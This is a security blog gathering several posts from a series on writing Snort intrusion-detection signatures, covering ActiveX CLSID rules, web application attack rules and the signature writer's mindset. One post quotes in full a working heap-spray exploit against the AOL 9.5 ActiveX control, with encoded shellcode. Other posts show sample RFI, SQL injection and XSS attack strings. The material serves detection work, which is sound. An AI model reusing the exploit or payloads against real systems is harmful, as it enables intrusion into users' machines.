Signature AnalyticsBlogging the Science of Signature Analysis

Threat Intelligence Project[TIP] is started by Joel Esler, JJ Cummings & ShirkDog. The following are the details from the official TIP site:

What is this TIP stuff all about?
The Threat Intelligence Project (TIP) was created to collect information from snort sensors around the globe.

Goals
The goal is to provide useful threat metrics from this data, that include some subjective input (False Positives as submitted by sensor operators).

Example Metrics:

• IP reputation
• Global Rule hit-count
• Rule accuracy
• Packet data (payload)
• Many more to come, please feel free to make suggestion/requests!

Currently we are developing the client / server components that will collect the data and submit it in a secure fashion. The initial release will have allow the participant to obfuscate ip information (source or dest), payload information (your pakets), none, or both!

More information on TIP is available here: http://rootedyour.com/tip

I will be releasing the Tao of Signature Writing – Part 5 next week after couple of reviews.  If you would like to volunteer for us, email is at contact.fingers[at]gmail.com. Thank you for choosing our blog!

I am glad that Joel has made all possible corrections in the previous blog. You could read that from here: http://blog.joelesler.net/2010/02/writing-snort-rules-correctly.html. Thank you Joel.

I made many errors in the previous version of the article. One of the errors I noticed was “Offset:0″. Instead, it should have been “distance:0″, since it means that the second content follows the previous content. Which makes the signature contents relative to each other. Offset:0 would not make sense here.

Joel also mentioned:

The author explains that “Client-side exploits generally flow from server to client”.  Okay, correct in this instance, but not always, so let me explain:

Flow has four direction operators you can specify:

• to_server
• from_server
• to_client
• from_client

What happens is when I hear from people is that they think “server” as that 2U thing back in the server room (hence the name), and client being “you”.  But that’s not how Snort thinks about it.  Snort thinks about client server in the “who initiated the conversation” term.  So, at the beginning of a TCP conversation there is a 3-way handshake.  SYN, SYN-ACK, ACK.

1. CLIENT ->  SYN -> SERVER
2. CLIENT <- SYN, ACK <- SERVER
3. CLIENT -> ACK -> SERVER

The client is who initiated the conversation, the server is who is responding. So, in this case, since we are attempting to catch a web browser accessing a webpage and downloading a webpage which contains this CLSID, the flow would be to_client.  (Or from_server) Correct.  However, what if someone downloaded a PDF, and upon opening the PDF the PDF went and grabbed something off the internet.  This is a client side exploit, however, the flow would be reversed.  So, the author is correct in saying that “Client-side exploits are generally…” I wanted to explain to make sure no one was confused.  The “established” keyword means the the session is established.  So beginning on the 3rd part of the 3-way handshake.

What I meant was that in this case with the exploit we considered, it is flowing to client. Client-side exploits do not flow to the server in general and exploits that has the flow set to server are generally targeting the server. If we used from_server in this case, we would have only triggered if it came from server. Our concentration here in the example I considered was to target all incoming traffic to the client. But the explanation the Joel has stated is amazing.

Joel’s PCRE part:

/<OBJECT\s+[^>]*classid\s*=\s*[\x22\x27]?\s*clsid\s*\x3a\s*\x7B?\s*A105BD70-BF56-4D10-BC91-41C88321F47C/si

(I am going to put double quotes around the things we are trying to match that are explicit, the quotes don’t actually exist in the regular expression unless specified)

So we are looking for “<OBJECT”

Then a whitespace (\s).  That’s what “\s” is.  (It says ‘followed by strings’ in the above quoted paragraph).  Whitespace is a tab, (0×09), space (0×20), new line character, or a line feed (0×0A), or a carriage return (0×0D).  The “+” sign after the “\s” means ‘any character directly proceeding it as many times, but there must be at least 1′.  So there must be 1 or more “\s” there.

Then you see this “[^>]“, which the author says that we are positively looking for.  The thing about character classes “[ ]” is, they allow you to do some nifty things.  Range matching, ([0-9]), multiple matches, [abc] (this will look for either an a, b, or c, for one character), and you can also do negative matches.  Or “lack of” matches.  The way you specify a negative match within a character class is to use the carat within a character class.  So “[^>]” means, “the next character after any amount of positively matched “\s” cannot be a “>”.  Directly after that is a “*” character.  The “*” is similar to a “+” but the difference is, while a “+” means you must have at least 1 match of the proceeding character (in this case the negative character class), the “*” means you don’t have to have a positive match.  It means “0 or more”.

Following that we have a “classid\s*=\s*” match.  So look for classid(maybeaspacehere,it’soptional)=(maybeanotherspacehere)

Then there is a “[\x22\x27]“.  In regular expressions, if you want to specify a hex character you have to write “\x” before the hex.  So, you might see a space specified like this: 0×20.  You might see it specified in Unicode like this: %20.  In regular expressions, it would be “\x20″.  Since there are two characters within the character class, 0×22 is the hex for a double quote.  ”  and 0×27 is hex for a single tick. ‘

Since this is a run of the mill character class match (not a range or something more complex) this means that the next character that the “[\x22\x27]” pattern match is looking for is either a ‘ or a “.  Notice the “?” after the character class?  That’s a ‘lazy optional’.  So without going into a long book about lazy and greedy (which, by the way, if you are interested, I suggest checking out the book “Mastering Regular Expressions” by Jeffery Friedl, it’s the bible), the “?” basically means “The Character that is directly in front of the “?” is optional”.  So, it essentially means, when all put together the match is either a ‘ or a ” or not at all.

Then we have (maybesomewhitepacehere)clsid(maybesomemorewhitespacehere):(maybesomemorewhitespacehere){(optionally)(maybesomemorewhitespacehere)A105BD70-BF56-4D10-BC91-41C88321F47C.

Notice that I translated “\x3a” and “\x7B” (the latter of which has the “?” behind it, so it’s optional) above.

Then the modifiers of the whole Regular Expression at the end are “/si”.

“s” means “include new lines in the dot metacharacter”.  However, there are no “.” metacharacters in the regular expression, so that was probably put there by habit (and good practice), and the “i” means “anything within the regular expression treat with case insensitivity”  similar to the “nocase;” keyword in Snort’s regular rule language.

My bad! I never explained it completely. Also, I noticed that he mentioned the following:

Following that we have a “classid\s*=\s*” match.  So look for classid(maybeaspacehere,it’soptional)=(maybeanotherspacehere)

where I mentioned as multiple-strings instead of spaces. This is really a good write up on PCRE. I lost the continuity when writing the post. I will ensure that I go this deep in the future versions. But Joel’s write up on PCRE has covered it all completely. Thanks again man. It is great to have someone’s review to know what I am doing wrong, in that way I could correct myself next time. Apologies for any inconvenience & thank you for choosing our news portal!

In this posting, we would look into ActiveX signatures that uses CLSID to detect or prevent an ActiveX exploit from coming through the network. To understand the signature better, you would have to understand more about client-side exploits using ActiveX. I do not want to duplicate the work that has been published before. I have enclosed the article that I have contributed for hakin9, as an attachment to this posting. Click here to read/download the article: Client-side Exploits.

The idea is to keep things simple, for the sake of understanding the concept of signature writing. Let us start this by answering the following:

• What are the components of a CLSID based signature?
• How to derive them from given data?
• How to make the call on components to be, kept & discarded?

Let us look at a sample ActiveX exploit [Source: ExploitDB]:

# Title: AOL 9.5 ActiveX 0day Exploit (heap spray)
# EDB-ID: 11204
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Dz_attacker
# Published: 2010-01-20
# Verified: yes
# Download Exploit Code
# Download N/A
<html>
<head>
<title>AOL 9.5 ActiveX 0day Exploit (heap spray) </title>
**************************************
<br>[+] AOL 9.5 ActiveX 0day Exploit (heap spray)</br>
<br>[+] Author : Dz_attacker</br>
<br>[+] Discovered by: Hellcode Research (http://www.hellcode.net)
<br>[+] Reference: http://www.exploit-db.com/exploits/11190
<br>[+] Tested on Windows Xp SP3 ,IE7</br>
**************************************

<object classid=’clsid:A105BD70-BF56-4D10-BC91-41C88321F47C’ id=’aol’></object>
<script language=’javascript’>

// win32_exec – calc
shellcode = unescape(‘%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395′+
‘%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1′+
‘%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e’+
‘%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5′+
‘%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f’+
‘%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5′+
‘%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525′+
‘%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e’);

nops=unescape(‘%u9090%u9090′);
headersize =20;
slackspace= headersize + shellcode.length;
while(nops.length< slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace<0×40000) block= block+ block+ fillblock;
memory=new Array();
for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;
ret=”;
for( counter=0; counter<=1000; counter++) ret+=unescape(“%0a%0a%0a%0a”);
aol.Import(ret,”Dz_attacker”,”True”,”True”);
</script>
</head>
</html>

The following is how you could look at the components of a signature:

In the above image, it can be seen that there are 3 strong components on which a signature could be written:

• CLSID/ProgramID
• Method of the Vulnerable function
• Shellcode

Shellcode is something that could always change. In this case, the shellcode used is the one for calc.exe:

shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
		     '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
     		     '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
		     '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
		     '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
		     '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
		     '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
		     '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

What about the other 2 components? CLSID is the class ID of the vulnerable ActiveX component. This is not going to change [constant] and the vulnerable method [constant]. Now, let us look at how to derive a signature from these 2 components. Since, we are writing a signature specific to above exploit, let us look at how we can do this:

• We have the “clsid:” followed by the CLSID. Should we use this too? What if we don’t?
• We have “aol” as the id and Import method name. Should we use “aol” along with “Import”?

Some might say that this depends on the Signature Writer. That is totally true. Some signature writers tend to keep it too open, while some might have too many constraints to narrow it down to match the exact same exploit. Why don’t we look at, “How not to be too narrow & too broad?” and settle for something in between those two.

So the answer to “We have the “clsid:” followed by the CLSID. Should we use this too? What if we don’t?”, is YES. We need to use “CLSID:” before the class ID to ensure that we are matching only the classID and not any content in the packet as it could lead to false positives. Say for example, if you have a text document that has some account number that is same as the classid in here followed by the second component of the signature, then the signature would trigger on that document. Hence, we have to narrow it down to some extent to something like this: content:”clsid:A105BD70-BF56-4D10-BC91-41C88321F47C”.

Now, let us look at the second question: “We have “aol” as the id and Import method name. Should we use “aol” along with “Import”?”. Just because we narrowed down to “clsid:” followed by CLSID number, does not mean that we have to narrow down in this case too. Just like how the Shellcode will change, the attackers might change the ID too, to just find out if they could evade the IDS/IPS. Why give them a chance? Hence, we should broaden our search to just the import method: content:”.Import(“. The reason why we have “.” and “(” around the key “Import” is to narrow the chances of triggering the signature on some term “Import” and to concentrate on the vulnerable method.

Now that we saw how to keep it narrow in some cases and how to keep it broad in the rest, let us look at other stuff that we need to keep in mind, to match the two contents in the above example:

• Ordering
  • CLSID comes before the Method
  • CLSID comes after the Method
  • No Ordering
• Depth
  • Positioning CLSID or Method within the packet
• Offset
  • Positioning CLSID or Method, with respect to themselves and not with respect to the packet.

In here, I would like to position the CLSID before the method. This would help me trigger the signature specific to “AOL 9.5 ActiveX 0day Exploit (heap spray)“. I can do this ordering by using “Offset”. We cannot set the “Depth” in this case, since the position of CLSID or Method in a packet will change according to the packet size or the way in which it is sent. Hence, the content of final signature would look something like this:

content:”clsid:A105BD70-BF56-4D10-BC91-41C88321F47C”; nocase; content:”.Import(“; nocase; Offset:0;

Now, let us look into the direction of traffic. Client-side exploits generally flow from server to client: “flow:to_client,established;“. Signature type:”alert”, protocol could be TCP or UDP, but TCP in this case[session based]. Source host is any IP from External Network, to Destination Host from Home network. Client-side exploits are sent in the form of return traffic, source port: HTTP [Server port] and destination port: ANY[generally ephemeral port, since this is possible return traffic]. With all the above components, the following can be generated:

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:”ActiveX Exploit Signature Sample”; flow:to_client,established; content:”clsid:A105BD70-BF56-4D10-BC91-41C88321F47C”; nocase; content:”.Import(“; nocase; Offset:0;)

What are the other components of the signature?

• PCRE
• Sources/Reference
• Revision Number

PCRE:

Perl Compatible Regular Expression[PCRE] is used in our signature to find the appropriate match. Definition of PCRE from Wikipedia:

Perl Compatible Regular Expressions (PCRE) is a regular expression C library inspired by Perl‘s external interface, written by Philip Hazel. PCRE’s syntax is much more powerful and flexible than either of the POSIX regular expression flavors and many classic regular expression libraries. The name is misleading, because PCRE is Perl-compatible only if you consider a subset of PCRE’s settings and a subset of Perl’s regular expression facilities.

In this case some folks might believe that CLSID is already in the “content” part of the signature, and that this is a repetition if we use it in PCRE once again. We are not using this PCRE to repeat the value in the content, but to ensure that we do not miss any possibilities of matching this exploit. Let us look into the PCRE part of this signature:

pcre:”/<OBJECT\s+[^>]*classid\s*=\s*[\x22\x27]?\s*clsid\s*\x3a\s*\x7B?\s*A105BD70-BF56-4D10-BC91-41C88321F47C/si”;

In here, the signature is telling the PCRE compiler that there is “< object” followed by strings and “>” with multiple-strings possibly following it followed by “classid” & “=” with the “clsid”, “:” and “{“. The true classid is then inserted into the PCRE. The PCRE ends with /i to indicate the case-insensitive nature of this regular expression.

Souce/Reference:

Source or Reference of a signature is the site from which the signature writer referred the exploit or refer about the exploit. In this case, exploit-db.com website:

reference:url,www.exploit-db.com/exploits/11204;

Revision Number:

Revision number is the number of times a signature has been revised to make it work, or to make it more accurate/efficient. In this case, it is our first attempt:

rev:1;

Some also list class-type to group a specific class of signatures together. In Emerging Threats, class-type for this type of signatures is “web-application-attack”. Let us now put the signature together:

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:”ActiveX Exploit Signature Sample”; flow:to_client,established; content:”clsid:A105BD70-BF56-4D10-BC91-41C88321F47C”; nocase; content:”.Import(“; nocase; Offset:0; pcre:”/<OBJECT\s+[^>]*classid\s*=\s*[\x22\x27]?\s*clsid\s*\x3a\s*\x7B?\s*A105BD70-BF56-4D10-BC91-41C88321F47C/si”; reference:url,www.exploit-db.com/exploits/11204; rev:1;)

The above is the signature that could be used to detect or prevent, AOL 9.5 ActiveX 0day Exploit (heap spray) from entering your network or traversing through your network. This is how we write signatures for ActiveX exploit, which involves CLSID. If you have ProgramID instead of CLSID, you could replace the CLSID part in the above signature to ProgramID along with other stuff that comes with it, depending on the exploit.

Things to remember from this article:

• Never be too concise: Do not shrink the possibilities. It might lead to false-negatives.
• Never be too broad: It might expand possibilities, leading to false-positives.
• Think from a bad guy’s perspective.
• Never map/match on dynamic content: In this case, the shellcode in exploit or “id=aol”.
• Test & Update signatures constantly & consistently: since the exploits & techniques constantly change.
• There is NO perfect solution: Do not anticipate that your signature is going to block all attacks.
• Try, Try, Try Again till you succeed: This is a constant fight & all we could do is to be up to date.

I hope that this article helped you understand:

• Writing Client-side signatures: Components & Techniques
• The Signature Writer mindset that is required

Hope you enjoyed our article. Thank you for choosing signature analytics news portal!

Now that 3rd out of the 10 part series has been written, I would like to discuss more about the structure of the entire series and how we would be proceeding further.

• Part 1. Introduction
• Part 2. Mindset of Signature Writers
• Part 3. Web Application Signature writing
• Part 4. ActiveX Signatures based on CLSID’s
• Part 5. Framework based Signatures
• Part 6. Anomaly based Signatures
• Part 7. Policy-based Signatures
• Part 8. Semi-automating signature writing – Hands On
• Part 9. Signature Testing
• Part 10. Concluding the Series

Send me your views, opinion, comments and criticisms. Comments either way are accepted! Thank you for choosing Signature Analytics News.

In the previous article, we looked into a mindset of signature writer. This is the core/heart of signature writing and what I have written alone is not enough to complete it. We would see about mindset and the thought process from time to time from here on, but it would be more of added feature to the other parts of signature writing. In this part, we would look into basics of web application attacks, the common types, the mindset of the attacker and the mindset of signature writer in this section of attacks, how to write good signatures in this category and how to test them.

Web Applications have been common target for different range of attackers, starting from the newbies to the pro’s. Newbies [whom some might call as script kiddies, but I don't want to because they aren't really kiddies anymore] are good at gathering easy tools, put them together and just start the attack process, while pro’s on the other hand apparently might recon for a very long time and take very little time to attack and cover the tracks. The following are the 3 categories of web application attacks that we come across most often:

The reason for dividing the server into “Private” and “Public” is because, all the content that you have inside Public_html or www folder is most commonly public to the world, and the rest of the server side stuff that you do not want people to see is on the private side[outside public_html]. Of course, files that aren’t linked or indexed would not be searchable, although this does not mean that they can never be found. Simple logic is to not keep any private stuff that you do not want to share with the outside world, inside public folder. As shown in the above diagram, the following are the most common web application attacks that we would also be looking into today:

• PHP File Inclusion/Remote File Inclusion
• SQL Injection
• Cross-site Scripting [XSS]

Remote File Inclusion [also known as PHP File Inclusion for remote PHP file inclusion vulnerability]

From the Wikipedia:

Remote File Inclusion (RFI) is a type of vulnerability most often found on websites, it allows an attacker to include a remote file usually through a script on the web server. The vulnerability occurs due to the use of user supplied input without proper validation. This can lead to something as minimal as outputting the contents of the file, but depending on the severity, to list a few it can lead to:

• Code execution on the web server
• Code execution on the client-side such as Javascript which can lead to other attacks such as cross site scripting (XSS).
• Denial of Service (DoS)
• Data Theft/Manipulation

The above description is describing about XSS as a file inclusion because it is possible to push a file through XSS, although we would look into it later. Here we are looking at file inclusion over a variable in a file that does not have limits defined properly. Here is an example of PHP File Inclusion:

In the above example,

• Vulnerable File Frame : /file_frame.php?
• Vulnerable Variable : variable=
• Possible attacking script : http://www.malwareinc.com/malicious.php
• Other variables : f  and  s [they do not play any role in this exploit attempt]

Hence, what is happening is that the attacker is trying to push the file malicious.php which resides in malwareinc.com into your website’s file_frame.php file where the variable “variable” does not check its input bounds. Primarily, file inclusions occur since the user inputs does not get evaluated or processed, to filter out the bad ones when necessary.

SQL Injection

Definition SQL Injection from the Wikipedia:

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.^[1]

SQL injection is basically attacking the database layer, although it still has to go through the public files and the vulnerabilities in it. Which means that SQL injection is not targeting the vulnerability in the database itself, but the implementation of the file that attempts in connecting to the backend. Let us look at an example that would help us understand this more clearly:

In the above example,

• Vulnerable File Frame : /file_frame.php?
• Vulnerable Variable : variable=
• Possible attacking script : ‘ OR 1=1;#
  
• Other variables : f  and  s [they do not play any role in this exploit attempt]

In this example, the attacker knows [or finds out] that “variable=” parameter directly fills in the a value into a SQL query, as shown in the following example:

If the user input is pasted in the above query inside the PHP file, without parsing or sanitizing user input, then the query would change into the following input as shown below:

The modification inserts the value 1 into var1 and then tells the query OR 1=1, which means OR “TRUE”. Anything OR’ed with TRUE is always a TRUE,

• TRUE OR  TRUE = TRUE
• FALSE OR TRUE = TRUE

Since 1=1 is always going to be true, semi-colon “;” ends the statement and “# or –” comments out the rest of the line , “select* from table” would display all the contents of the table irrespective of the where condition. From the above example, it could be clearly seen that the SQL injection targets the vulnerability in the file frame and the variable inside the file, for passing rogue[unexpected] value into the query, that could make the query run stuff that you do not want it to run. Since the query itself is ran from the apache server it is presumably running from a higher privilege, which could give external users to:

• SELECT
• UNION SELECT
• DELETE
• ALTER TABLE
• UPDATE
• DROP
• and more SQL queries.

This is why, user input validation is the most important step in a web application. Now, let us took at the final web application exploit type that we are going to look into, in this blog post.

Cross-site Scripting [XSS]

Definition from the Wikipedia:

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications which enable malicious attackers to inject client-side script into web pages viewed by other users. An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as the same origin policy. Cross-site scripting carried out on websites were roughly 80% of all security vulnerabilities documented by Symantec as of 2007.^[1] Their impact may range from a petty nuisance to a significant security risk, depending on the sensitivity of the data handled by the vulnerable site, and the nature of any security mitigations implemented by the site’s owner.

There are several types of XSS and there are many-many subcategories too. There is a really good site that describes this in a very huge list by Rsnake: ha.ckers.org. There was XSSDB from GNU citizen that has not been working for long time. Let us look into a simple example:

In the above example,

• Vulnerable File Frame : /file_frame.php?
• Vulnerable Variable : variable=
• Possible attacking script : <script>alert(‘XSS’)</script>

If the above exploit works, the users clicking on the above link would have a alert box opened up displaying XSS. Thereby, the attacker could take the user to the site he would like the user to download the malicious code from, or run malicious stuff on the user’s system even without redirecting to malicious site. There are several kinds of XSS, and one of the largest XSS web portal is XSSED. About XSSED:

The XSSed project was created in early February 2007 by Kevin Fernandez and DP. It  provides information on all things related to cross-site scripting vulnerabilities and is the largest online archive of XSS vulnerable websites.

We started this project with the scope of increasing security and privacy on the web. Professional and amateur webmasters and web developers are notified about any cross-site scripting vulnerability affecting their online properties. The importance of securing their web applications is emphasized through the informational and educational content which we provide.

What we do is to simply validate all the submitted XSS vulnerable websites and then publish them on the archive. We actively assist all website owners to remediate the cross-site scripting issues by bringing them up to their attention on a timely manner. You will be helped by us for any problems you may face when trying to correct the XSS flaws. Please contact us.

Now that we have looked into the 3 types of web application exploits, let us look deep into the commonality in them:

• User input is not parsed
• Variable not sanitized
• Boundaries not fixed
• The entire file gets vulnerable
• Attackers gain web server privilege

There are also PHP parameters in the php.ini file which need to be checked for register_globals, filesize and other parameters. But we wont look into that in this article, since this is more of the signature writing document and not a complete web application security document. Although, for further reading, refer to OWASP for their work related to this. They have done a great deal of work in application security domain.

Hence, the common parameters in the all the above attacks are:

• File Frame
• Variable
• Attack Vector

Hence, this is what we would be considering for generating the signature. Let us look at putting the above parameters into a sample template that could generate and compare the signature with existing ET signatures [although I am not going into the implementation part, since it would be part of the Sign Analytics Project]:

Wouldn’t it be cool to have semi-automated signature generation engine that could aid you in generating signatures and testing them. Well, the answer is Yes! That is why, we are in the process of making one for you, but we need time or more volunteers to complete it, a.k.a. “to make it happen”. Let us continue looking into web application exploit signatures that are in ET to protect the users from such attacks:

SQL Injection

#by tinytwitty

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:”ET WEB_SPECIFIC_APPS 2z Project SQL Injection Attempt — rating.php rating SELECT”; flow:established,to_server; uricontent:”/includes/rating.php?“; nocase; uricontent:”rating=“; nocase; uricontent:”SELECT“; nocase; pcre:”/.+SELECT.+FROM/Ui”; classtype:web-application-attack; reference:cve,CVE-2007-2898; reference:url,www.securityfocus.com/archive/1/archive/1/469351/100/0/threaded; reference:url,doc.emergingthreats.net/2004059; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/WEB_SPECIFIC_APPS/WEB_2z_project; sid:2004059; rev:7;)

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:”ET WEB_SPECIFIC_APPS 2z Project SQL Injection Attempt — rating.php rating UNION SELECT”; flow:established,to_server; uricontent:”/includes/rating.php?“; nocase; uricontent:”rating=“; nocase; uricontent:”UNION“; nocase; pcre:”/.+UNION\s+SELECT/Ui”; classtype:web-application-attack; reference:cve,CVE-2007-2898; reference:url,www.securityfocus.com/archive/1/archive/1/469351/100/0/threaded; reference:url,doc.emergingthreats.net/2004060; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/WEB_SPECIFIC_APPS/WEB_2z_project; sid:2004060; rev:7;)

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:”ET WEB_SPECIFIC_APPS 2z Project SQL Injection Attempt — rating.php rating INSERT”; flow:established,to_server; uricontent:”/includes/rating.php?“; nocase; uricontent:”rating=“; nocase; uricontent:”INSERT“; nocase; pcre:”/.+INSERT.+INTO/Ui”; classtype:web-application-attack; reference:cve,CVE-2007-2898; reference:url,www.securityfocus.com/archive/1/archive/1/469351/100/0/threaded; reference:url,doc.emergingthreats.net/2004061; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/WEB_SPECIFIC_APPS/WEB_2z_project; sid:2004061; rev:7;)

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:”ET WEB_SPECIFIC_APPS 2z Project SQL Injection Attempt — rating.php rating DELETE”; flow:established,to_server; uricontent:”/includes/rating.php?“; nocase; uricontent:”rating=“; nocase; uricontent:”DELETE“; nocase; pcre:”/.+DELETE.+FROM/Ui”; classtype:web-application-attack; reference:cve,CVE-2007-2898; reference:url,www.securityfocus.com/archive/1/archive/1/469351/100/0/threaded; reference:url,doc.emergingthreats.net/2004062; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/WEB_SPECIFIC_APPS/WEB_2z_project; sid:2004062; rev:7;)

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:”ET WEB_SPECIFIC_APPS 2z Project SQL Injection Attempt — rating.php rating ASCII”; flow:established,to_server; uricontent:”/includes/rating.php?“; nocase; uricontent:”rating=“; nocase; uricontent:”SELECT“; nocase; pcre:”/.+ASCII\(.+SELECT/Ui”; classtype:web-application-attack; reference:cve,CVE-2007-2898; reference:url,www.securityfocus.com/archive/1/archive/1/469351/100/0/threaded; reference:url,doc.emergingthreats.net/2004063; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/WEB_SPECIFIC_APPS/WEB_2z_project; sid:2004063; rev:7;)

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:”ET WEB_SPECIFIC_APPS 2z Project SQL Injection Attempt — rating.php rating UPDATE”; flow:established,to_server; uricontent:”/includes/rating.php?“; nocase; uricontent:”rating=“; nocase; uricontent:”UPDATE“; nocase; pcre:”/.+UPDATE.+SET/Ui”; classtype:web-application-attack; reference:cve,CVE-2007-2898; reference:url,www.securityfocus.com/archive/1/archive/1/469351/100/0/threaded; reference:url,doc.emergingthreats.net/2004064; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/WEB_SPECIFIC_APPS/WEB_2z_project; sid:2004064; rev:7;)

From all the above, the stuff in BOLD text explains what we looked at in the above discussion: File frame, variable and attack vector.

XSS Signature

#by tinytwitty

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:”ET WEB_SERVER Adobe RoboHelp XSS Attempt whstart.js”; flow:established,to_server; uricontent:”/whstart.js?“; nocase; pcre:”/<?(java|vb)?script>?.*<.+\/script>?/Ui”; classtype:web-application-attack; reference:cve,CVE-2007-1280; reference:url,www.securityfocus.com/archive/1/archive/1/468360/100/0/threaded; reference:url,doc.emergingthreats.net/2003897; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/WEB_SERVER/WEB_Adobe; sid:2003897; rev:6;)

PHP Inclusion

#by stillsecure

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:”ET WEB_SPECIFIC_APPS Flatchat pmscript.php with Parameter Local File Inclusion”; flow:to_server,established; content:”GET “; depth:4; uricontent:”/pmscript.php?“; nocase; uricontent:”with=“; nocase; content:”../”; classtype:web-application-attack; reference:url,milw0rm.com/exploits/8549; reference:bugtraq,34734; reference:url,doc.emergingthreats.net/2009745; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/WEB_SPECIFIC_APPS/WEB_Flatchat; sid:2009745; rev:3;)

From all the above examples, it is understandable that the above signatures can be semi-automated in the template we showed above. I hope that you get a clear picture of the commonalities and functionality of web application attacks and writing signatures to protect yourself from it. Thank you for choosing signature analytics!

In the previous blog [The Tao of Signature Writing – Part 1] we saw the generic principles of signature writing. In this blog, we would get deep into the mindset of a signature writer. Mindset of a signature writer is very unique and not many websites/portals, blogs, etc. discuss about it. The reason for discussing the mindset of a signature writer is because, signature analysts:

• should understand the limitations of signatures.
• should go beyond what is required, to generate a good signature.
• should test signature across many, many samples to ensure accuracy.
• should not concentrate on one situation alone, when writing the signature.
• should look at a global/overall perspective of the purpose.

Signature writing is an art, that not only requires knowledge of researching on payloads, exploits, etc. from which a pattern is derived, but other things such as determining the focus of the pattern, ensuring that the signature is not written on a pattern that is not commonly seen in good and bad packets. This means that the signature writer should put all the pieces of this bigger puzzle together, when looking through a microscope to resolve the particular problem that could be very tiny, compared to the bigger picture behind it. So how does a mindset of signature writer change a signature?

The mindset of a signature should be a combination of everything possible:

• It should be broad enough to understand all possible consequences [false-positives].
• It should be narrow enough to resolve the situation, the purpose of the signature itself [true-positive].
• It should not be too narrow to miss the attack [false-negative].

The above 3 are not single case & point situations where it is easy to just point at something and say that “okay! its done…”. It is beyond that. This means that the signature writer should understand:

• Where is this signature going to be uploaded [the device]?
• Where in the network is this device placed [device positioning]?
• What kind of traffic can be seen from this location [dirty-side or inside or DMZ]?
• What is the direction of this estimated traffic [inbound, outbound or internal]?
• What kind of softwares or systems does the attack target [attack vectors]?
• What are the current PoC’s and how could it be varied [morphing the exploit - polymorphic, metamorphic, fragmentation, chunking, etc.]?
• What is the scope of this signature on an overall?

This is a very tiny list of things that are implanted in a signature writer’s based on the experience. That too, this is only related to generating a signature. Once a signature is generated, it is made more efficient. How should the writer’s mindset be, when increasing the signature’s efficiency?

Apart from having all of the above in the mindset, the signature writer:

• should ensure that the signature is as crisp as possible.
• should cover the integral part of the attack [heart of the attack].
• should be really efficient [should not overload with unnecessary PCRE checks, essential ones alone is good to have]

Does this means that the mindset is good if it only has the above qualities and necessities listed? No! There is a lot more to it. Signature writing is not a single step process where the writer determines the pattern, writes the signature and forgets about it. The signature writer should have a very open mindset to test and redo the signature in a cyclic pattern, and mostly in specific intervals of time. That is, no signature can be completely accurate. When the bad guys change their type of attacks, the signatures has to be changed accordingly to protect from the current attacks once again. Most of the current devices out there has many limitations such as, space, processing power, etc. Some of these limitations also include number of signatures loaded into the device to reduce or maintain the space and the processing power to optimal conditions.

Does this mean that the signature writer has very limited choices of generating signatures? No! This means that the signature writer should always keep in mind that with the limited space, processing power and time provided, he needs to consider every single aspect listed above as well as other things pertaining to the local network in which the device is placed, the users in the network, the company policy and how strong are they in implementing it, authorized and unauthorized applications running in the network and so on, before he can test, run and re-run the signatures by optimizing to its corresponding environment.

This means that the signatures would be changed from time to time, and this means that the signature writer:

• should change/upgrade signatures.
• should add new signatures.
• should remove unwanted signatures.

